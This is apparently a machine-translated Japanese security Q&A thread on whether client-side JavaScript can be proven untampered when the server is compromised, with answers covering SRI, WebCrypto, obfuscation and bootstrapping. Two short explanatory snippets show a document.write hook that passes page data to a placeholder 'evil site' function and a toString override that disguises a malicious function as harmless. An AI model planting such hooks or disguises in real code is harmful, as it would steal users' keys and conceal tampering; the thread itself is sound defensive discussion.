web-dev-qa-db-ja.com

クライアント側のJavascriptが安全であることを証明する方法は?

サーバーとクライアントの両方に、メモやスプレッドシートなどのユーザーのデータを暗号化するWebアプリケーションがあるとします。

このWebアプリケーションを使用するユーザーの通常のプロセスは次のようなものです。

  1. ユーザーは、サーバーに保存されているログイン/パスワードハッシュを使用してアプリケーションにログインします。 (通常のWebアプリケーションと同様です。)
  2. ユーザーは、クライアント側のデータの暗号化に使用される追加の安全なキーを入力します。 Webアプリケーションは [〜#〜] sjcl [〜#〜] などのクライアント側の暗号化ライブラリを使用します

この例では、クライアント側に焦点を当てましょう。

状況は次のとおりです。サーバーが危険にさらされており、攻撃者がサーバー側のキーにアクセスしています。攻撃者はサーバーに保存されることはないため、クライアント側のキーはありません。

攻撃者は、ユーザーがWebアプリケーション(クライアント側)に入力したときにクライアント側のキーを読み取るようにJavaScriptを変更する必要があります。 Javascriptは、キーを攻撃者/サーバーに送信するようにプログラムされます。これで攻撃者が勝ちました。

サーバーを引き継ぐと失われると想定されていることは理解していますが、以下の私の考えがクライアント側の安全なソリューションを可能にするかどうか知りたいのですが。


状況

HTMLでは、いくつかのスクリプトタグ内にいくつかのJavaScriptコードが含まれていると想定されており、サーバー上にある外部JavaScriptファイルを介して読み込まれるJavaScriptコードも多数あります。問題となっているのは、Webアプリケーションを実行するJavascriptです。攻撃者がインラインまたは外部のJavascriptを変更したと想定する必要があります。

可能な解決策?

サーバーからロードされたすべてのJavascriptのハッシュを生成できるようにしたいのですが。 hasはクライアント側のJavascriptコードのフィンガープリントとして機能し、ユーザーは新しいハッシュに注意します。

これらは、私がこれまでに考えた2つの方法です。

  1. クライアントにロードされたすべてのファイルのハッシュを取ります。これは、再び含まれるすべてのファイルを要求することを意味します。

  2. メモリ内のすべてのJavascriptコードのハッシュを取ります。 (これは可能ですか?)

両方のオプションの共通の問題は、実際にこのハッシュを実行している関数が何であれ、関係するユーザーが数秒以内に安全に使用できることを確認できるほど小さい必要があることです。

このハッシュ関数は通常のようにブラウザーに読み込まれ、ユーザーは()なしでコンソールから関数名を入力してコードを表示し、()を使用してもう一度入力すると、コードを実行します。

次に、ハッシュは、Webアプリケーションが過去に検査したことをユーザーが知っている状態であることを証明するのに十分なものでなければなりません。

これはいつかプラグインになる可能性さえありますが、ネイティブソリューションが可能かどうかを確認するつもりです。


基本的に私が求めているのは、クライアントの状態の整合性を証明できる方法は何ですか?

9
Joseph

改ざんされていないかどうかはわかりません。攻撃者がシステム上でコードを実行しています-十分な労力が与えられれば、実行しているブラウザーコンテキスト内で発生するあらゆることを操作できます(したがって、プラグインは同じように影響を受けません-異なるコンテキストにあります)。

@SmokeDispenserからのMatasanoリンクのすべてのポイントが完全に正しいわけではありませんが、基本原理はそのままです。 WebCrypto API などの取り組みは、いくつかの問題に対処しようとしていますが、まだ成熟していない-たとえそうであったとしても、コードが何かをしていないことを確実に判断することは不可能です。予想される動作を実行すると同時に悪意のあるもの。

9
Matthew

JavaScriptが組み込まれたWebページは、基本的には、コンピューターのサンドボックスで実行される小さなアプリケーションです。ページにアクセスするたびに、アプリケーションの最新バージョンをダウンロードして実行します。 ( 必須XKCDコミック

つまり、攻撃者がサーバーを制御し、毒されたコードを提供できる場合、問題は、ユーザーが危険なダウンロードサイトからスパイウェアに覆われたバージョンのソフトウェアをダウンロードした場合と非常に似ています。 アプリケーションに挿入した保護は、攻撃者によって削除またはバイパスされるだけです。

サーバーを制御する攻撃者に対してWebアプリケーションを安全に保つ唯一の方法は、Webアプリの一部がユーザーのコンピューターに保存されている場合です。たとえば、ダウンロードしたファイルや、_data:_ URLブックマークなどです。このコードは最初にロードされ、実行前にすべての追加リソースの整合性をチェックするのに十分なロジックを含むことができます。 サブリソースの整合性 を使用するか、古いブラウザではexec()を使用する前にハッシュを検証します。

(私は小さな__ sha256実装 を書いて、_data:_ URLからブートストラップするというこのアイデアと、それに基づいてモジュールローダーを楽しんでいますが、実際にこれを使用することはお勧めしません生産中。)

つまり、ユーザーがURLを入力してサイトをロードするだけの場合は、サーバーのセキュリティに完全に依存しています。攻撃者が特定のユーザーのみをターゲットにしている場合は、自分のサイトを監視しても役立たない場合があります。

5
cloudfeet

私が正しく理解している場合は、サーバーから提供されているコードが、クライアントで正常と認識されているという概念と一致していることを確認する必要があります。ただし、ブラウザーの場合、ブラウザーにコンテンツを提供できるのはサーバーだけです。そのため、検証の手段は、検証するコンテンツと同じソースから、同じチャネルを介して配信されます(マシューが言ったように)。

2つの部分がクライアントに配信される時間を分離できる場合(つまり、異なるキャッシュ時間を使用し、それぞれの半分に他の部分を検証させることができる場合)は、これを利用して利点を生かすことができます。しかし、それは絶対に簡単なことではありません。

Javascriptは、検証を簡単にするための適切なリフレクションを提供します(そうです、Javacriptのメモリの内容を読み取ることができます)。問題は、ページの一部として提供されたコード、またはページによってロードされたコードと、ブラウザーにすでに組み込まれているコードを区別することです。後者は、メーカーとバージョンによって異なります。また、コードがブラウザ提供のコードを呼び出している限り(画面上に何かを書き込むためなど)、ブラウザコードも検証できる必要があります。 javascript関数(組み込み関数を含む)を他のもので置き換えるのは簡単なので、これは問題です。

_orig_write = document.write;
document.write = function (str) {
    send_data_to_evil_site(str);
    _orig_write(str);
}

検出に依存することはできません。

if ('function write() { [native code] }' != document.write.toString()) {
     alert("maybe the toString was changed too?");
}

signed jar files でJavaScriptを転送する方法を確認することをお勧めします。もともとサンドボックスの外部にJavascriptアクセスを与えることを目的としていましたが、コンテンツを有効化するためにブラウザーに組み込まれたメカニズムは、自社開発のソリューションよりも堅牢である必要があります。セキュリティを重視するお客様にはご利用いただけません)。

2
symcbean

クライアント側のコードの検証は、サーバー側のコードが危険にさらされていなくても意味があります。攻撃者がコードを変更したり、新しいコードを挿入したりできる場合、攻撃者は簡単に資格情報を取得したり、ページのマークアップを変更したり、フィッシングを行ったりする可能性があり、これは人々が心配するほど深刻です。

これまでに提案されたソリューションについて:

  • サブリソースの整合性-サードパーティのコードの整合性のみを検証し、ロード時にのみ検証します。攻撃者は、インラインでコードを挿入したり、既存のコードを汚染したりできます。したがって、SRIはこの特定のクラスの攻撃に対して効率的ではありません。これは、CDNが侵害されたことを検出するためのものです。
  • WebCrypto-ブラウザーに標準の暗号化機能があることは素晴らしいことですが、他のネイティブ機能と同様に、汚染される可能性があります。
  • 提案された他のソリューションは、可能な敵よりも最初に実行されるコードに依存しています。問題はそれを保証するのが非常に難しいことです。そのため、CSPなどの標準はHTTPヘッダーで実行され、ブラウザーは定義により、JSをロードする前に、まずそれらを強制する必要があります。 (ところで、CSPはコードポイズニングに対しても機能しません)。

防弾ソリューションはありません。あなたができることは、ほとんどの攻撃を軽減し、他の人をやる気にさせるために、できる限りレベルを上げることです。

誰もがJavaScriptの難読化を提案していないことに驚いています。難読化が十分に回復力があり、多態性である場合でも、理解するのが難しく、十分に多様な出力を生成できます。保護されたバージョンを定期的にローテーションして、これを実現できます。これにより、コードの名前や形状、さらにはレイアウトも常に変化し続けるため、自動化された中毒ターゲットを排除できます。私は、攻撃者がブラウザから離れていることを想定しています(したがって、攻撃を自動化する必要があります)。また、改ざんやポイズニングに対してコードを耐性にする自己防衛型のコードを生成するソリューションが今日あり、これにより、敗北がますます複雑になります。

特にDOMの変更に対処するには、これらの変更を検出して削除できる、少し異なる何かが必要です。

2
Carl Rck

OPは、サーバーが侵害された場合に、クライアント側のJavaScriptが安全であることを証明できるかどうかを尋ねます。他の人が指摘したように、サーバーがクライアントにJavaScriptコードを提供している限り、コードが安全であることを確認するためのコードを含め、改ざんされる可能性があります。

これはOPですでに指摘されており、クライアント側のコードインスペクションを使用して確認できることを示唆しています。

このハッシュ関数は通常のようにブラウザーに読み込まれ、ユーザーは()なしでコンソールから関数名を入力してコードを表示し、()でもう一度入力してコードを実行できると考えています。

ハッシュ関数がサーバーによって提供されている場合、これは簡単に回避できます。コンソールで以下のharmful関数を調べてみてください。

function harmful(){
  /*evil code*/
}

harmful.toString = function(){
  return 'function harmful(){/*I am harmless*/}'
}

重要な点は、サーバーがallクライアント側コードを提供している限り、サーバーが侵害された場合にクライアント側コードのセキュリティを検証することは不可能であることです。また、JavaScriptは非常に柔軟であるため、コンソールでコードを検査すると、有害なコードが無害であると偽装される可能性があります。

2
Tomas Langkaas